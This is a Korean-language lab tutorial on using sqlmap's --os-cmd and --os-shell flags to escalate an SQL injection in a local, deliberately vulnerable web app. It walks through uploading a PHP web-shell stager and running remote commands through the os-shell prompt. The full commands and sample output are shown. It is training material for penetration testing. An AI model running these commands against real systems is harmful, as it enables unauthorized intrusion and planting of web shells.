sqlmap 으로 대화형 OS 셸 얻기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 인기 있는 오픈 소스 침투 테스트 도구인 sqlmap 을 사용하여 SQL 주입 취약점을 완전한 대화형 운영 체제 셸로 에스컬레이션하는 방법을 배웁니다. sqlmap 은 데이터베이스에서 데이터를 열거하고 유출하는 데 탁월하지만, 그 기능은 기본 서버에 대한 제어권을 얻는 것까지 확장됩니다.

우리는 --os-shell 기능에 초점을 맞출 것입니다. 이 기능은 대상 서버에 웹 셸 (스테이저) 을 업로드하여 원격 시스템과 직접 상호 작용할 수 있는 명령 프롬프트를 제공합니다. 이 랩을 위해 SQL 주입에 취약한 간단한 웹 애플리케이션이 설정되어 로컬 머신에서 실행되고 있습니다.

OS 명령 실행 가능 여부 확인

이 단계에서는 완전한 대화형 셸을 얻으려고 시도하기 전에 대상 운영 체제에서 명령을 실행할 수 있는지 먼저 확인할 것입니다. 이것은 중요한 예비 확인입니다. sqlmap 의 --os-cmd 플래그를 사용하여 이를 달성할 수 있으며, 이 플래그는 도구에 지정된 단일 명령을 실행하도록 지시합니다.

whoami 명령을 사용할 것입니다. 이 명령은 현재 사용자의 유효 사용자 이름을 출력합니다. 또한 --batch 플래그를 사용하여 sqlmap 이 모든 대화형 질문에 기본 답변으로 실행되도록 하여 프로세스를 더 빠르게 만들 것입니다.

터미널에서 다음 명령을 실행하십시오.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

sqlmap 이 대상을 테스트하면서 많은 출력을 보게 될 것입니다. 완료될 때까지 기다리십시오. 출력 끝 부분에서 whoami 명령의 결과를 볼 수 있어야 합니다.

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

labex라는 출력은 labex 사용자로 원격 서버에서 명령을 성공적으로 실행할 수 있음을 확인합니다.

--os-shell 플래그를 사용하여 대화형 셸 요청하기

이 단계에서는 완전한 대화형 셸을 얻기 위한 명령을 준비할 것입니다. 이제 OS 명령 실행이 가능하다는 것을 확인했으므로 더 자신감을 가지고 진행할 수 있습니다.

이를 위한 sqlmap 플래그는 --os-shell입니다. 이 플래그를 사용하면 sqlmap 은 웹 서버의 쓰기 가능한 디렉토리에 "스테이저 (stager)"를 업로드하려고 시도합니다. 스테이저는 작은 코드 조각 (이 경우 PHP 웹 셸) 입니다. 이 스테이저는 대화형 명령 셸을 위한 메커니즘을 제공합니다.

사용할 명령은 다음과 같습니다.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

다음 단계에서 이 명령을 실행하면 sqlmap 이 스테이저를 업로드하는 가장 좋은 방법을 결정하기 위해 몇 가지 프롬프트를 안내할 것입니다. 이 단계에서는 명령을 실행하지 않고 단순히 그 목적을 이해할 것입니다.

셸을 생성하기 위한 명령 실행

이 단계에서는 대화형 셸을 생성하기 위한 명령을 실행합니다. sqlmap 은 웹 애플리케이션의 언어와 서버의 문서 루트 (웹사이트의 메인 폴더) 를 결정하기 위해 입력을 요청할 것입니다.

먼저 터미널에서 명령을 실행하십시오.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

sqlmap 이 시작되고 몇 가지 질문을 할 수 있습니다.

  1. 백엔드 DBMS 에 대해 물어볼 수 있습니다. 기본값 (예: SQLite) 을 수락하려면 Enter를 누르십시오.

  2. 그런 다음 웹 서버 문서 루트를 요청합니다. 이것은 중요한 단계입니다. sqlmap 은 웹 셸을 업로드할 쓰기 가능한 디렉토리를 알아야 합니다. 설정 스크립트를 기반으로 올바른 경로는 /home/labex/project/vulnerable_app입니다.

    [?] what is the web server document root? [/var/www/html] >

    다음 경로를 입력하고 Enter를 누르십시오.

    /home/labex/project/vulnerable_app

경로를 제공한 후 sqlmap 은 스테이저를 업로드하려고 시도합니다. 성공하면 업로드를 나타내는 메시지가 표시되고 새로운 프롬프트 os-shell>로 전환됩니다.

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

os-shell> 프롬프트는 원격 서버에서의 대화형 셸입니다.

sqlmap 셸 프롬프트를 통해 원격 시스템과 상호 작용하기

이 단계에서는 방금 얻은 os-shell> 프롬프트를 사용하여 원격 시스템과 상호 작용합니다. 이 프롬프트는 로컬 터미널이 아닙니다. 여기서 입력하는 모든 명령은 원격 서버로 전송되어 실행됩니다.

몇 가지 간단한 명령을 실행하여 액세스를 확인해 보겠습니다.

먼저 pwd를 입력하고 Enter를 눌러 원격 서버의 현재 작업 디렉토리를 찾으십시오.

os-shell > pwd

출력은 sqlmap 이 스테이저 파일을 업로드한 디렉토리여야 합니다.

/home/labex/project/vulnerable_app

다음으로 whoami를 입력하여 원격 시스템에서 사용자 신원을 다시 확인하십시오.

os-shell > whoami

출력은 다시 labex여야 합니다.

labex

이제 대상 시스템에서 대화형으로 명령을 성공적으로 실행했습니다.

여러 명령 실행 및 파일 시스템 탐색

이 단계에서는 원격 파일 시스템을 추가로 탐색합니다. 대화형 셸은 디렉토리를 탐색하고, 파일을 보고, 서버의 레이아웃을 이해할 수 있게 해주므로 강력합니다.

먼저 ls -l 명령을 사용하여 현재 디렉토리 (/home/labex/project/vulnerable_app) 의 내용을 긴 형식으로 나열합니다.

os-shell > ls -l

이 디렉토리의 파일들, 즉 index.php, users.db, 그리고 sqlmap 이 업로드한 임시 PHP 웹 셸 (예: tmpueyge.php) 을 볼 수 있습니다.

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

이제 파일 시스템을 탐색해 보겠습니다. cd .. 명령을 사용하여 상위 디렉토리 (/home/labex/project) 로 이동합니다.

os-shell > cd ..

출력은 없지만 원격 서버의 현재 디렉토리가 변경되었습니다. 새 디렉토리의 내용을 나열하여 이를 확인합니다.

os-shell > ls

vulnerable_app 디렉토리가 나열된 것을 볼 수 있습니다.

vulnerable_app

이제 labex 사용자의 권한 내에서 파일 시스템을 자유롭게 탐색할 수 있습니다. sqlmap 셸을 종료하고 일반 터미널로 돌아가려면 exit를 입력하고 Enter를 누르십시오.

요약

이 실습에서는 SQL 주입 취약점을 성공적으로 확대하여 원격 서버에 대한 완전한 명령줄 액세스 권한을 얻었습니다. 다음 사항을 배웠습니다.

  • sqlmap 의 --os-cmd 플래그를 사용하여 OS 명령 실행이 가능한지 확인합니다.
  • --os-shell 플래그를 사용하여 sqlmap 이 대화형 셸을 설정하도록 지시합니다.
  • 웹 셸 업로드를 용이하게 하기 위해 웹 서버의 문서 루트와 같은 필요한 정보를 제공합니다.
  • sqlmap 셸을 통해 pwd, whoami, ls, cd와 같은 명령을 실행하여 원격 시스템과 상호 작용합니다.

이 연습은 SQL 주입 취약점이 데이터 도용뿐만 아니라 완전한 시스템 침해로 이어질 수 있다는 점에서 심각한 보안 위험을 보여줍니다.